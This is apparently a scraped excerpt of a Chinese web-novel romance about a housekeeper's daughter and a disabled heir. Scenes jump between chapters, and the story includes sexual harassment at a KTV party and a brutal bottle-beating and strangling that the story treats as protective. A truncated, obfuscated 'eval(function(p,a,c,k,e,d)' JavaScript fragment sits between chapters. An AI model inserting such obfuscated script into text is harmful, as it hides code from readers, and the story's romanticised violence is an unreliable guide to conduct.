她从未把李长尽当过一个残疾人,在她眼里,这世上的苦难人很多,但李长尽绝不是其中一个,即使李家不喜欢他,放弃了他,可他始终是豪门少爷,就算混吃等死,以后也不会为了生存发愁。 所以她不同情李长尽,更不可能可怜他,她把李长尽当成一个很正常的朋友,可最近不知道怎么回事,她的心态变了,听着李长尽沉静淡漠的语气,她能从中解读出心疼的意味。 姜迟夏觉得自己可能有病,竟然会心疼李长尽,他那种不做人的人有什么好心疼的?她还是心疼心疼自己和张兰英吧。 他们这种活在社会底层的人才需要被同情,李长尽压根不需要。 去大西北旅游这件事,只能等寒假了,可距离寒假还有一个多月,这一个月说快也快,说慢也慢。 在李长尽这里,这一个月就格外漫长,他本来就不喜欢在学校待着,但为了姜迟夏的一句“你要是规规矩矩在学校待下来,我今年回家就把你带上,陪你去玩”,他还真就每天按时上学了。 连张兰英都问姜迟夏,“长尽最近好像变听话了很多?肯按时上学了?” 姜迟夏肯定不能把她和李长尽的约定说给张兰英听,只能胡诌,“他可能发现自己挥霍生命有点过头了。” 张兰英觉得这是好事,只要李长尽能按时上学,这就已经让很多人安心了。 全班同学都大跌眼镜,连老杨都觉得李长尽可能要洗心革面了,只有姜迟夏知道,李长尽依旧我行我素。 甚至太无聊了之后,就总问她,“姜迟夏,你看里番吗?” 姜迟夏问他,“那是什么东西?” 他笑声沉沉,“谈恋爱的纯爱动漫,亲嘴的那种,你看吗?我手机里有,你想看《甜蜜惩罚》还是《僧侣之夜》?” 姜池夏蹙眉,“哪个好看点?不对,你能看什么好东西?” 他就在那儿笑,笑的整个人肩膀都在颤抖,姜迟夏无语极了,懒得理他。 他笑够了之后,又说,“我可以陪你看,还可以陪你实践,今晚去你家看吧?” 姜迟夏咬牙切齿,“你给姐爬,肯定不是什么好东西,求你了,别影响我学习。” 即使在学校,他也不听课,不学习,反正没有老师敢管他,就任由他在课堂上睡觉,班级里有这么一位祖宗,大家也是心情复杂。 至于学校为什么不开除他,还是因为家里的关系,哪个学校敢开除他,即使不受李兴澜待见,他依旧是李家的长子,北城顶级豪门的少爷,李兴澜每年都要给这所学校捐一栋教学楼,谁敢开除他。 姜迟夏搬出李家之后,很少回去,她的存在不仅让张兰英感觉到心慌,连新主母沈莉都察觉不对劲了。 李长愠经常不避讳地问张兰英,“张阿姨,夏夏什么时候搬回来?她一个人在外面住,不会危险吗?” 彼时刚吃完饭,李兴澜和沈莉都还没有离开餐厅,就听到李长愠这样问。 李兴澜很少关心这些孩子的问题,听到李长愠问姜迟夏,他冷冷地看了一眼李长愠,威严的声音不怒自威,“夏夏去哪里住,关你什么事?你关心的问题该是这个吗?我让管家给你的那么多账簿看完了?” 李长愠在父亲的质问下,闭嘴了,再什么都没说,起身走了,张兰英被吓得冷汗涔涔,帮着佣人收拾餐桌。 她让姜迟夏搬出李家是对的,她隐约觉得今年开始,李家的氛围变了,这种感觉从何而来,她也不知道。 她庆幸自己提前让姜迟夏搬出去了,不然还不知道要惹出什么祸事,她在李家待了十多年了,她怎么可能不知道这是一个什么样的家庭。 主母展月死的蹊跷,当时她就觉得不是单纯的车祸,展月生了两个儿子,威胁到了很多人的利益,所以才有人想弄死她。 只是她那时候没想明白,后来才隐约想明白,那场车祸原本是想要了李长尽和李长愠两个少爷的命,只要他俩活着,这李家的未来就是两个少爷的。 但没想到那天,李长愠班级放学迟,展月有点事,接了李长尽先离开了,并且打电话给她,让她半个小时之后,去接长愠回家。 她应下没多久,就听到了展月车祸的事情,她死前,解开了安全带,把李长尽抱进了怀里,整个人的半截身子被压在了侧翻的豪车下,而李长尽只是左小腿被碾压了。 李长尽这才捡回了一条命,只是左腿受了伤,做了截肢手术。 这件事她跟谁都没说过,为了保命,也为了把李长尽和李长愠两个少爷养大。 现在两位少爷都长大了,其实她的作用不太大了,她想着等姜迟夏高中毕业,回到生源地进行高考,她就辞职。 这豪门深似水,吃人不吐骨头,没有一个善茬,展家也是名流之家,当时为这事闹了很久,李家不肯交出两个少爷,展家便也不和李家往来了。 展月和李兴澜是商业联姻,婚后感情算好,但豪门始终是利益至上,即使李兴澜对展月好,也没办法做到一辈子只爱她一个。 所以李兴澜二婚了,沈莉年轻,三十岁不到,长得漂亮,名媛出身,毕业于名校,很会来事。 嫁进来不到一年,把李兴澜拿捏的死死的。 或许不久后,她就要有好事了,嫁进这样的家庭,不生一个孩子,那将是毫无意义的。 因为李长愠随口一问姜迟夏的事情,她被沈莉约谈了,沈莉笑的很好看,示意她坐下,张兰英也是会察言观色的人,知道这漂亮主母不是善茬。 张兰英婉拒了她的好意,“谢谢太太,我站着就行了。” 沈莉笑着点头,“张妈你来李家很久了吧?” 张兰英点头,“是的,十多年了。” 沈莉问,“没想过回家吗?” 张兰英心里一震,看向她那张漂亮的脸蛋,“太太什么意思?” 沈莉笑着说,“其实我觉得你是个识相的人,知道孩子长大了,不能经常住在一起,避免出事,这出发点很好,我很欣赏你,但是长愠和长尽很依赖你,只要你在家一天,他俩就不会理我。” 张兰英,“……” 沈莉说,“我会给你一笔钱,你带着你女儿,离开北城,回老家吧。” 张兰英,“……”虽然很突然,但她还是稳住自己的情绪,笑着问,“太太你认真的吗?” 沈莉说,“我从娘家那边要了几个保姆过来,都是跟了我很久的,我用着放心。” 张兰英懂了,“行,您说什么就是什么。” 早点逃离这豪门恩怨也好,免得腥风血雨殃及她和姜迟夏。 她们只是普通的底层人民,和这些恶毒的人沾不上关系。 张兰英很慷慨地收下了沈莉给的一笔钱,一 7. 喜欢她 《怀了残疾竹马的崽?》全本免费阅读 沈莉没敢露面,直到李长尽吃完晚饭,李长愠进门,她都再没出来。 她见过李长尽的疯,连李兴澜都敢往死里怼,压根就没有他怕的东西。 李兴澜是这个家最威严的存在,李长愠都不敢跟父亲顶嘴,但李长尽不怕。 就像他说的,他是烂命一条,什么都无所谓,反正不怕死,谁要是让他不快活,谁都别想好过。 李长尽吃完晚饭后在客厅抽烟,李长愠进门后,一股的烟味,他蹙了蹙眉,也没说话,径直往餐厅走。 可李长尽却喊住他,“李长愠,张阿姨要被辞退了你知道吗?” 李长愠一愣,回头看他,“谁辞退她?” 李长尽笑的闲散异常,“还能有谁啊,当然是李家新进门的主母在行使自己的权利,不然谁还能有那么大的本事?” 李长愠抿了薄唇,“这个家里,谁都能走,就张阿姨不能走,回头我跟她说。” 李长尽起身,将校服的拉链再次拉上脖子,看了一眼外面的飞雪,将半截烟扔到烟灰缸里。 “行,那之后的事情你处理吧,我上晚自习去了。” 李长愠觉得李长尽不对劲,他什么时候这么爱学习了? 这还是李长尽吗? 他不知道。 姜迟夏不知道李家发生了什么,更不知道自己的妈妈被怎么刁难了。 不过李长尽竟然来上晚自习了,这让她很意外,她到学校的时候,李长尽已经在座位上了,正戴着耳机看电影,见她来了,他摘下耳机,把手机关了,塞进校服衣兜里。 姜迟夏冻得不行,天气太冷了,她围着围巾都抵挡不住风寒的入侵。 李长尽给她让开位置,让她进去,她坐好之后才问他,“你今天怎么来这么早?” 李长尽翻出数学和物理习题,“从现在开始,我辅导你的习题,有什么不会的,就问我。” 姜迟夏觉得他不对劲,“你怎么突然这么关心我的学习?” 他一本正经,“虽然我放弃了自己,但我不想放弃你,一旦你没出息,张阿姨肯定伤心难过,我不想让她伤心。” 姜迟夏有些心酸,“李长尽,你这人其实也不是那么坏,你还会考虑我妈的感受呢?” 李长尽眼神冷冷地看她,“张阿姨照顾我十多年了,我就算是一块石头,也该有点温度?” 姜迟夏点头,“这才对嘛,你看你这样想的话多好啊,你最近真的很听话,我很欣慰。” 李长尽言语松弛闲散,“还不是为了让你带我去玩,不然我哪能听你的话。” 她点头,“不过这件事你要跟我妈保密,我回家的话,她是不回去的,你得偷偷跟我走。” 李长尽笑着看她,“怎么有种跟你私奔的感觉?” 姜迟夏,“……” 李长尽小声道,“还蛮刺激的,姜迟夏,要不你以后嫁给我算了,虽然我以后不继承李家的家业,但我也不会缺钱,养你还是可以的。” 姜迟夏打住他,“你别疯言疯语了,我对你没兴趣。” 李长尽,“……” 姜迟夏认真道,“别说我对你没兴趣,就我妈那一关都过不了,你们李家是什么家庭,我是什么家庭?我带你去一趟我老家你就知道了,我能认识你们这种有钱人,还是因为我妈在你家当保姆,不然我压根不可能认识你们。” 李长尽啧了一声,“要是换成李长愠这样跟你说,你一定很开心吧?” 姜迟夏摇头,“不会,我只会觉得有压力,你跟我说还好一点,最起码没人盯着你,都觉得你完了。” 李长尽让她别装了,“我知道你喜欢李长愠,所以看不上我,你嫌弃我没一条腿。” 姜迟夏的心又一抖,她让李长尽别胡说了,“现在不该是讨论这个问题的时候,现在是学习的时候,你能不能把心思用在学习上?” 李长尽不想学习,他压低声音,“姜迟夏,我其实想谈恋爱,你能不能和我偷偷谈个恋爱?没有人知道的那种。” 姜迟夏受不了他了,“别人喜欢谁都是偷偷摸摸的,你倒好,光明正大就来了,以前别人喜欢你的时候,你不是说怕别人嫌弃你吗?” 他凑到姜迟夏面前,清冷的气息带着冰霜的寒意,“你跟她们不一样,她们不了解我,也没见过我换假肢,但你什么都见过了,我还穿了你的睡衣,就差把衣服脱完给你看了,我觉得我只能和你在一起了。” 姜迟夏,“……” 李长尽,“我俩好了这么多年,以后继续好下去呗,你要是想谈恋爱,你可以找我,我俩偷偷的谈。” 姜迟夏,“……” 李长尽,“你放心,没人会知道的,我不会告诉张阿姨,你也可以把我当成李长愠。” 姜迟夏,“……” 她没有理会李长尽的胡言乱语,李长尽那种人怎么可能喜欢谁,他就是好奇心太强,找不到实践对象,所以才来祸害她。 她整理了一下桌面之后,冷静地告诉他,“如果你想尽快和我结束五六年友情的话,你可以继续癫,可以消遣我。” 李长尽啧了一声,“你这人好小气,我都给张阿姨涨工资了,你就不能陪我玩玩?” 姜迟夏冷哼,“你是不是觉得我脾气好,所以无底线试探我?李长尽,我知道你在想什么,别折腾了,我不可能答应你的。” 李长尽颓败,“行吧行吧,我就跟你开个玩笑而已。” 姜迟夏的心还是有点乱的,毕竟不是以前了,他们都已经长大了,正是一个春心萌动的年纪,肯定是会有影响的,她觉得自己已经够淡定的了,但还是忍不住心跳加速。 她也不知道心跳个什么劲儿,她和李长尽是第一天认识吗? 怎么还为他这种人心动起来了? 姜迟夏准备无视他。 周六张兰英来看她,也没说发生在李家的事情,只是问她这些天李长尽在学校表现好吗? 姜迟夏说挺好的,最起码每天都在学校,还挺规矩的了。 张兰英叹息一声,“我很希望他能为自己争一争的,他这样下去,等我离开李家,他要怎么办?谁能管着他。” 姜迟夏疑惑,“你为什么离开李家?那么高的工资,怎么舍得离开?要不我帮你继承得了。” 张兰英瞪她一眼,“等你高考的时候,我肯定要回家看着你,那时候两位少爷也不需要我了,我就可以走了。” 姜迟夏觉得张兰英可能有什么瞒着她,“有人为难你了?” 张兰英摇头,“没有,就是比较担心长尽而已,长愠我不担心,他听话,老爷很看重他。” 姜迟夏说,“实在不行,你走的时候把他带上吧,认他当干儿子算了。” 张兰英,“……” 姜迟夏,“反正李家没人喜欢他,带走也就带走了,没人管的。” 张兰英,“……” 她倒是想啊,可李家怎么可能舍得把他随便丢给一个外人? 即使不喜欢,也不可能让外人带走啊,姜迟夏在说什么 8. 背她 《怀了残疾竹马的崽?》全本免费阅读 她和李长尽太熟了,熟到知道他喜欢自己后,她都能镇静下来的程度。 完全没有一点点的意外,甚至觉得他在拿她消遣。 不过她觉得李长尽喜欢她不意外,毕竟她很包容李长尽的脾气。 从和他认识开始,姜迟夏就极度包容他,李长尽这个缺爱的孩子,在她这里得到了慰藉,对她有想法也是情有可原的。 李长尽除了乖张一点之外,其实各方面都还好,他要是把学习当回事,那他也能稳坐学神的交椅,但他就是不当回事。 姜迟夏依旧没把他的话当回事,即使知道李长尽对她有心思,她也不打算回应,本来就不是一个世界的人。 或许李长尽只是一时间觉得谈恋爱新鲜,又找不到人跟他谈,所以才找她,她又不是傻子。 还是别迈出那一步,要是迈出去了,那就再也收不回来了,她和李长尽就再没法当朋友了。 生日宴会在KTV,陈怡邀请了很多人,连着五个包间都是她请来过生日的人,姜迟夏把自己准备的礼物送给她,并且送上了祝福,陈怡很开心。 李长尽没有来凑热闹,他自己打电话叫了几个狐朋狗友,包了一个包间,等着姜迟夏参加完聚会。 姜迟夏所在的包间人很多,很吵,男男女女都有,她总觉得那些男生都像混混,不太像正规学生。 还在想,便见包间里的男生女生都有了大胆的行为,一群男孩子好像找到了猎物一般,对女生动手动脚,关键很多女生竟然不拒绝。 聊着聊着就在卡座上亲起来了,女孩坐在男孩腿上,动作极其不雅观,姜迟夏移开了视线,她觉得自己还是早点走比较好。 正想着,一个高高瘦瘦的男生走过来坐在了她的旁边,端着一杯啤酒,朝她举杯,“你好,认识一下?” 姜迟夏不太想认识他,下意识避开了,和他保持距离,那男的看她一眼,冷笑,“装什么纯呢?跟陈怡混在一起的女生,能有多正经?” 姜迟夏看着混乱的包间,再看一眼陈怡,结果不知道什么时候,陈怡也和一个男生亲上了,这要是再发展下去,还不知道要发生什么,她起身要走,那男的一把将她从胳膊上抓回去。 姜迟夏被吓到,眼神有些惊恐,挣扎着再次起身,结果被那男的一绊,整个人摔在了地上,脚也扭了。 她的动静使得周围的人都看过来,她嘶了一声,努力爬起来,那男的还不肯放过她,一把将她扯回去抱在怀里,“你看,整个包间就你没男生亲,妹妹,我觉得你长得很符合我的审美,让我亲一口?” 姜迟夏被吓到了,陈怡还劝她,“夏夏,那是蒋家少爷,蒋飞羽,能被他看上是你的福气哦,别挣扎了,就亲两口而已。” 姜迟夏简直震惊,她怎么能把这种事说的这样云淡风轻?亲两口而已?什么关系就亲两口? 姜迟夏挣扎着不让他碰,被他抱在怀里不放开,姜迟夏着急了,拿起没人用的话筒,在巨大的音乐声中喊李长尽。 “李长尽!!!” 这一声被音响一扩音,直接给整个包间的人吓傻了,一群不做人事的人纷纷停下了他们的动作,转头看姜迟夏。 但蒋飞羽并没有因为姜迟夏的行为而停下他的动作,他甚至挑衅地问姜迟夏,“李长尽?就李家那个残废啊?你怎么认识他?” 陈怡被吓到了,她从男生身上起来,打开门往外看了一眼,问大家,“你们没看到李长尽吧?” 大家都纷纷摇头,“没看到,他怎么可能来这里?” 陈怡的心有点放松了,“没来就好,吓死我了。” 正说着,刚要关上的门被一脚踹开了,李长尽双手插兜,站在门外,往里看了一眼。 他笑着走进去,“你们玩的挺开心啊?这不是蒋家少爷吗?” 蒋飞羽还抱着姜迟夏不撒手,他抬眼望向李长尽,笑着警告他,“都是来猎艳的,李少爷就别管我的闲事了,行吗?” 李长尽脸上挂着笑,走到蒋飞羽面前,弯腰一把揪住他半长的头发,迫使他抬头,“你知道她是谁吗?敢当着我的面抱她?” 蒋飞羽的头发被他狠狠地攥在手里,钻心的疼,他抱着姜迟夏的手终于放松了,想要反击,但李长尽那漂亮的手背上都起了青筋,足以见得他使了多大力气。 他还笑着,一张好看的脸在昏暗乱飞的彩灯照耀下,显得有些狰狞。 他另一只手从旁边的桌上拿了一瓶啤酒瓶过来,毫不留情地砸在了蒋飞羽脑袋上,蒋飞羽被砸的嗷叫一声,脑袋瞬间流了血。 一包间的人被吓得往外跑,李长尽拍拍蒋飞羽的脸,笑着问,“还玩吗?我陪你玩,我闲得很。” 蒋飞羽想反击,但只要一动,头顶传来钻心的痛,他终于不动了,开始求饶,“李哥饶命,我错了,我不知道她是你把的妹妹,小弟真错了。” 李长尽伸手抹了一把他脸上的血,给他抹在嘴上,“别仗着自己家有钱,就搞这种把戏,我李长尽是什么人,你该明白。” 蒋飞羽吓得大气不敢出,“李哥,真的错了,求你放过我,我真不是故意的。” 李长尽一把扔开他的脑袋,发现姜迟夏已经跑出包间了,他拍了拍手,刚转身要走,蒋飞羽抄起另外一个啤酒瓶,咬了牙一瓶子砸在了李长尽脑袋上,啤酒瓶里的酒水和血液一同染红了李长尽的白发。 李长尽猛然被砸,只是微微蹙眉,随即回头,一把抓住他的衣领,骨骼凸起的拳头毫不留情地砸在蒋飞羽脸上。 他个子高,力气大,经常打架的人,打起人来没有章法,转头将没拆开的啤酒瓶,一瓶一瓶全部砸在蒋飞羽脑袋上,蒋飞羽没几下就撑不过去,满脸是血的在他手中挣扎,他修长好看的手指一把掐住蒋飞羽的脖子。 “啧,真带劲啊,我要是一使劲,你这脖子就断了,蒋少。” 李长尽还能笑出来。 蒋飞羽脸上是血,脖子被掐着,一阵阵窒息,他想求救,可连一点声音都发不出来。 姜迟夏听着里面的动静,没等到李长尽出来,她不得不推开半掩的门,一进去就看到李长尽正狠狠地掐着蒋飞羽的脖颈,好像要把人掐死。 她被吓坏了,一瘸一拐地走进去,一把抓住李长尽的手腕,惊恐地看他,“你要把他掐死啊?李长尽,你放手!”
李长尽气呼呼地从卧室里出来,一言不发地盯着姜迟夏,那眼神看起来沉的吓人。 姜迟夏看他一眼,问他,“你又生什么气?” 张兰英也转头看李长尽,“这有什么好生气的,正常得很,长尽你这么爱吃醋?” 李长尽,“……” 张兰英说,“吃饭吧,他们肯定去姜永才家了,估计明天还得来,姜永才这些年可没少收郑家的好处,郑家不可能就这么算了,他还不上钱,还不上礼,自然会来这里闹的。” 李长尽冷笑一声,“我看他能不能在我面前反了天。” 张兰英警告他,“臭脾气收着点,这里是外面,不是你家,李长尽,你现在是客人。你以为还是你家,任由你翻天呢。” 李长尽垂下长长的眼睫,“知道了,我收敛,肯定收敛。” 姜金驰啧啧道,“我长尽哥也会怕丈母娘啊?真是奇闻。” 李长尽点头,“你不懂,张阿姨从五岁就带着我了,我妈没时间管我们的时候,我和李长愠调皮捣蛋,都是她在揍我俩。” 姜迟夏噗嗤一声没忍住,米饭差点笑喷,“我妈真牛,竟然能让李长尽害怕。” 张兰英,“……” 虽然出了一点小插曲,但该走的流程还得走,下午的时候,姜金驰就带着李长尽去串亲戚送礼了,也是带李长尽给大家认识认识。 姜金驰逢人就介绍李长尽,“这我姐夫,回家来提亲的,我妈答应了,让他认一下亲戚。” 说真的,李长尽那气质和这个小村庄一点都不搭,但姜金驰叫什么,他就跟着叫什么,嘴甜一点总没事。 这个流程走完之后,大家几乎就都知道张兰英家的女儿有男朋友,要结婚了,连亲戚都认了。 所以那郑家的亲事就被拒了。 大家对姜迟夏的这位姑爷,特别好奇,听说是大城市来的,看起来很有钱的样子。 大家闲着没事干,聚在一起就在讨论这家的亲事,村里的情报网可发达了,一会儿传一个样子。 倒也没什么大碍。 李长尽一整天都憋着一口气,尤其是姜迟夏还和那个姓郑的出去叙旧了,这件事让他很不爽。 所以一下午都在生气,也不和姜迟夏说话,吃饭也只吃了几口,喝了点汤再没吃其它的,天黑了之后,洗了个澡就自己躺着去了。 姜迟夏收拾完不见他人,找了半天才发现这家伙老早就躺炕上去,灯也不开,也不玩手机,在乌漆嘛黑的房间里躺着。 姜迟夏把灯一打开,他就气的翻了个身,背对着她,也不说话。 姜迟夏伸手戳戳他的肩膀,“少爷今天心情不好啊?怎么了,吃醋了?你吃醋都这么脾气大?” 李长尽冷哼,“我又没那么重要,哪能比得上姓郑的,我就一残废,没资格吃醋。我来你家,还要挨一顿打,张阿姨那竹条毫不犹豫地往我身上抽,如果我不来你家,张阿姨肯定开开心心把你嫁给他了。” 姜迟夏无奈,“根本不是一回事,我妈拒绝你,不是因为你残废,你搞清楚主次,我妈拒绝你,是因为你家地位太高,我们高攀不起。况且我妈打你又不是因为你来了我家,而是你……” 说到这里,她难以启齿,索性不说了,蹬了拖鞋上去,靠着枕头坐着,扯了被子来盖腿上。 虽然是夏天,但这里还是有点冷,不用开空调,还得盖被子。 李长尽等着她的下文,见她不说话了,翻个身看她,“我怎么了?继续说啊。” 姜迟夏咬了咬牙,“自己做了什么,自己心里没点逼数,你说我妈为什么打你?” 他故意枕在她腿上,伸手摸摸她的小腹,“哦,我知道了,因为我把你搞怀孕了。” 姜迟夏,“……” 他抬眼看着她无语的表情,反正不乐意,“哄我,快点,我今天心情好糟糕。” 姜迟夏问,“怎么哄?你平时不都是自己哄自己吗?” 李长尽说,“现在不一样了,现在我是有老婆的人了,那必须老婆哄才行。” 姜迟夏,“……” 他努力躺平,闭上眼睛,指了指自己的嘴,“先来个你主动的深吻吧,把我亲开心了,我就不生气了。” 58. 后来者 姜迟夏低眼看着他的眼睛,只觉得他眸中似乎盛满星河,她是越发觉得李长尽长得好看了。 伸手从他的眉眼上划过去,他长长的睫毛微微颤了颤,看着她的眼神黏腻潮湿,有种无声的致命勾引。 她低下头去亲了他的眼睛一下,他眨了眨眼,不解地看着她,“你的眼神有点奇怪。” 姜迟夏笑着问他,“有什么奇怪?” 他摇头,自己从床上坐起来,和她平视,“不知道,就是让我感觉心跳会加速。” 姜迟夏了然,看来钝感还不是那么强,还能体会到她眼神中的喜爱之意。 她没说话,就静静地注视了他的脸几秒,有种不真实的感觉。 他被她的眼神看得心猿意马,长臂一伸关了灯,还是主动吻她,等姜迟夏主动,黄花菜都要等凉了。 她没拒绝,仰着头被他吻的脑袋发懵,不敢发出声音,生怕被妈和姜金驰听见。 虽然妈在二楼。 再次在她家和她躺一张床上亲的难舍难分,李长尽诸多感慨,“真的跟做梦一样,高三那年暑假,我真不敢想有一天会以男朋友的身份回你家,姜迟夏。” 姜迟夏缓了缓气,顺着枕头躺下去,窝在他怀里。 想来也是搞笑,那时候年纪都小,她当时都不知道怎么想的,竟然真的陪他疯。 她小声问,“所以那天晚上过了之后,你在想什么?” 李长尽把她的头发捋顺,让她枕在自己胳膊上,“我在想,我要做点什么,才能追到你呢?我该怎么样才能让你忘了李长愠。” 姜迟夏心里一咯噔,“那你后来为什么不联系我了?” 李长尽轻笑,“因为我知道我还会再见到你。” 姜迟夏一愣,“啊?你怎么知道的?我报志愿的时候你不知道啊。” 李长尽叹息一声,“算了,你说过什么话或许连你自己都忘了,但我记着呢。” 姜迟夏想了想,她也没跟李长尽说过她要报考哪个学校。 她不依不饶,“说说嘛,我太好奇了。” 李长尽的额头抵着她的额头,温热的呼吸近在咫尺,“你刚上高中的时候说过,最次要考个财经大学,不然白糟蹋了李家的关系。” 姜迟夏还是不解,“我说了最次要考一个财经大学,可你知道我学习一直很差啊,你怎么就知道我能报考财经大学?” 他伸手摸摸她的长发,还是叹息,“真笨啊,高三一年,我一直都在给你发消息,只可惜你的手机在张阿姨手里,我从张阿姨那里知道你高三一年进步了很多,张阿姨说你考个一本没问题,我就知道你会去那个学校。” 姜迟夏,“……” 李长尽小声道,“这不是被我猜准了吗?我厉害吗?” 姜迟夏无言,“李长尽,你心眼确实太多了,我妈都没发现你这个人居心叵测。” 李长尽不否认,“我当然不能明着问她你去哪个学校,我只能问问你的成绩,然后自己推敲,就能猜出来了,这说明什么,说明你和我之间还是很有默契的。” 姜迟夏服了,五体投地,“你这心思得亏用到正道上了,不然都难以想象你这人多可怕,不过说起来,别人对你第一印象确实很差啊,都觉得你不是个好人。” 李长尽无所谓,“看起来不像好人,不代表不是好人,我是这世上少有的好人。” 姜迟夏差点就信了,“说你胖你还喘上了,你哪里好了,十个人里面,有九个说你不是个好东西,剩下的一个大概是个哑巴。” 李长尽,“……” 姜迟夏告诉他,“那个郑峥嵘,看你的第一眼就觉得你不是好人,我觉得他看人还挺准的。” 李长尽听到这个姓郑的就生气,“你还提他,你老实说,你到底做什么了,让那么一个栋梁之材一直惦记你?你跟他认识很久了?比认识我还久?” 姜迟夏实话实说,“小学同学,从一年级就在一个教室了,只不过在五年级以前,我和他没怎么说过话,学校里的小朋友都知道我和他有娃娃亲,总是调侃我们,说我是他媳妇,别人说一次他哭一次。” 李长尽,“……” 姜迟夏感觉李长尽又生气了,伸手摸摸他的胸口,“你先别生气,听我说。他那时候可丑了,虽然学习好,但一年四季鼻涕都甩不干净,不过四年级以后,他就没那么邋遢了。我和他正式接触是五年级,五年级在一个班当了同桌,就和他关系好了点,一直持续到六年级,我爸妈离婚,我就被我妈带到你家去了。” 李长尽气鼓鼓的,“得亏张阿姨把你带去我家了,不然我这媳妇都成别人的了。” 姜迟夏赞同,“如果不去你家没认识你的话,我大概会和他在一起,我去你家之前,他还送了我一支钢笔,被你折断的那一支就是他送的。” 李长尽真的醋罐子成精了,“我就说你怎么会有一支金笔,我以为谁送你的,见你一直宝贝的很,很生气。我送你礼物你都不要,那支钢笔你就坦然接受了?我当然生气,我当然要折断,让你修不好。” 姜迟夏,“……你那时候就这么小心眼了?不对啊,那时候才初三啊,你吃的哪门子醋?不会那个时候你就喜欢我了吧李长尽?” 李长尽心里一紧张,否认,“没有,就是单纯觉得膈应,果然我的感觉没错,我要是不把它折断,你到现在都还宝贝似的藏着吧?” 姜迟夏无奈,“我都不知道是金的,要是知道,我肯定不会丢了,就是觉得用着顺手,便一直没舍得扔,你还脑补那么多戏,说实话,认识你之后,郑峥嵘是谁我都没想起来过。” 李长尽把她抱怀里,宝贝似的拍拍她的背,“还好是我的,感谢张阿姨带你去我家,虽然你认识他比较早,但和我相处的时间最长,我俩才是关系最好的。我后来者居上也行。” 姜迟夏觉得李长尽有点好笑,“你就算不认识我,你该怎么过还怎么过,不认识我你不活了?” 他郑重其事,“没认识你的话,我大概这辈子不会喜欢女孩子,没人愿意靠近我,我也没心思去喜欢谁,注定要孤独一辈子。” 姜迟夏叹气,“李长尽,你就喜欢给自己枷锁,你坦然一点,就一条腿把你的所有骄傲都带走了?” 他承认,“确实,除了你,我没法给别人再看我这不堪的一面,所以你只能是我的。” 姜迟夏,“……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜金驰摇头叹息,“长尽哥,恋爱脑要不得。” 李长尽没理他,转身去找姜迟夏。 张兰英知道今天不太平,所以也就没出门,等着姜永才上门来。 大概早上十点多的时候,有汽车进村口了,张兰英让姜金驰带李长尽出去玩会儿,李长尽那脾气,一旦跟人起冲突,谁说都没用。 姜金驰带着李长尽刚出去,那车刚好从车路尽头驶来。 李长尽认出了那是昨天姓郑的开的车,他喊住姜金驰,“不用出去了,来活了。” 姜金驰上去拉他的胳膊,“我妈说今天的事不用我们管,我俩别掺和,走。” 李长尽就不走,挣脱姜金驰的手,站在那里点了一根烟,看着那车驶来在姜迟夏家门口停下。 他抽了一口烟,眯着眼看着打开车门下来的人,一个五官还算不错的中年男人从车上下来了。 身高还可以,和姜金驰差不多高。 随后跟着的就是郑峥嵘。 那中年男人扫了一眼李长尽,又扫了一眼姜金驰。 姜金驰看向他,想躲没躲掉,不情不愿地喊了一声“爸”。 姜永才瞪了他一眼,“你现在出息了,放假也不回家看看。” 姜金驰没说话,姜永才又将注意力移到李长尽身上。 李长尽似笑非笑地看着他,没有开口,也没有问候。 姜永才问姜金驰,“这就是你姐带回来的男朋友?一点礼貌都没有,你妈怎么同意的?” 59. 无理取闹 姜永才没把李长尽放在眼里,眼神里都是不屑,在他眼里,郑峥嵘就是最出息的,这十里八乡,再也不会有个像郑峥嵘这么出息的孩子了。 张兰英竟然拒了郑家的提亲,脑子里在想什么? 姜永才带着郑峥嵘进门去了,李长尽跟在后面,姜金驰再次去拉他,被他甩开了。 姜金驰小声道,“哥,放心吧,我妈可以搞定的,你别掺和,你要是一掺和,这还不知道要闹什么矛盾,你先冷静点。” 李长尽不是逃避的人,这人都上门挑衅了,他要是能忍就奇怪了,他抽完烟之后,将烟嘴扔到了地上踩灭,抬步也进了院子。 姜迟夏从客厅走了出来,看到姜永才和郑峥嵘之后,也没问候,直接绕过他俩,走到李长尽身边拉着他往外走。 姜永才在台阶上呵斥了一声,“姜迟夏,见了我都不问一声?” 姜迟夏懒得理,拉着李长尽要出门,但李长尽就是不走,他目光沉冷地看着姜永才。 唇角咧起挑衅的笑,“你是谁啊让她问你?” 姜永才看着李长尽那张不怀好意的脸,气的咬了咬牙,“想跟我女儿在一起,态度还这么狂?” 李长尽哦了声,“原来她有爸爸啊?我还以为早死了。” 姜永才,“……” 姜迟夏拽着他的胳膊往外拉,“别理他,让他跟我妈说吧,走。” 李长尽眼神充满警告地看了一眼郑峥嵘,冷笑着跟着姜迟夏出了门,姜永才气的往客厅走去。 “张兰英,你是怎么想的,你怎么敢把女儿嫁给这样的人?” 张兰英坐在那里,神色冷静,看着他和郑峥嵘进门。 “怎么,这么多年不曾管过她,现在知道她要嫁人了,你就来了?” 姜永才忍着怒气看着她,“我们和郑家从小定了娃娃亲,怎么能出尔反尔?” 张兰英笑着看他,“那是你姜家的事,不是我的事,姜迟夏早就不是你姜家的女儿了,从你跟我离婚,不要她的时候,她就跟你没瓜葛了。她所有的一切都是我负责的,我想把她嫁给谁就把她嫁给谁。” 姜永才的脸色都变了,“那我怎么跟郑家交代?这么多年,郑家每年都在维持这门关系,你又不是不知道,我跟你说过多少次?我是没管过她,但你也没给我机会啊,离婚后你就带她去了北城,我上哪里管她?” 张兰英也不想和他吵,只是看向郑峥嵘,“姜家收了你家多少好处你找他要,我家姜迟夏已经有姑爷了,不再考虑任何人,峥嵘你是个出息的孩子,没必要为她闹这么难看。” 郑峥嵘抿着薄唇,“婶婶,我是真喜欢她。” 张兰英神色冷静,“她已经和长尽领证了。” 郑峥嵘,“……” 姜永才气的踹了张兰英家的茶几,“一声不吭就让她跟那个男的领证?他家什么情况你问过吗?” 张兰英笑了笑,“他家什么情况不重要,重要的是他对夏夏好,这就行了。” 她还真不敢把李长尽什么家世告诉姜永才,她怕这贪得无厌的东西会敲诈李长尽。 她和姜永才是包办婚姻,两方家长同意之后,就结婚了,结婚之前都没见过几次。 结婚后才发现这个人空有一张看起来还不错的皮囊,就是个人渣,吃喝嫖赌什么都占齐了。 幸亏她跳出来的早,不然还不知道这辈子要被怎么折磨。 郑峥嵘听到姜迟夏已经和李长尽领证之后,他觉得自己像个笑话。 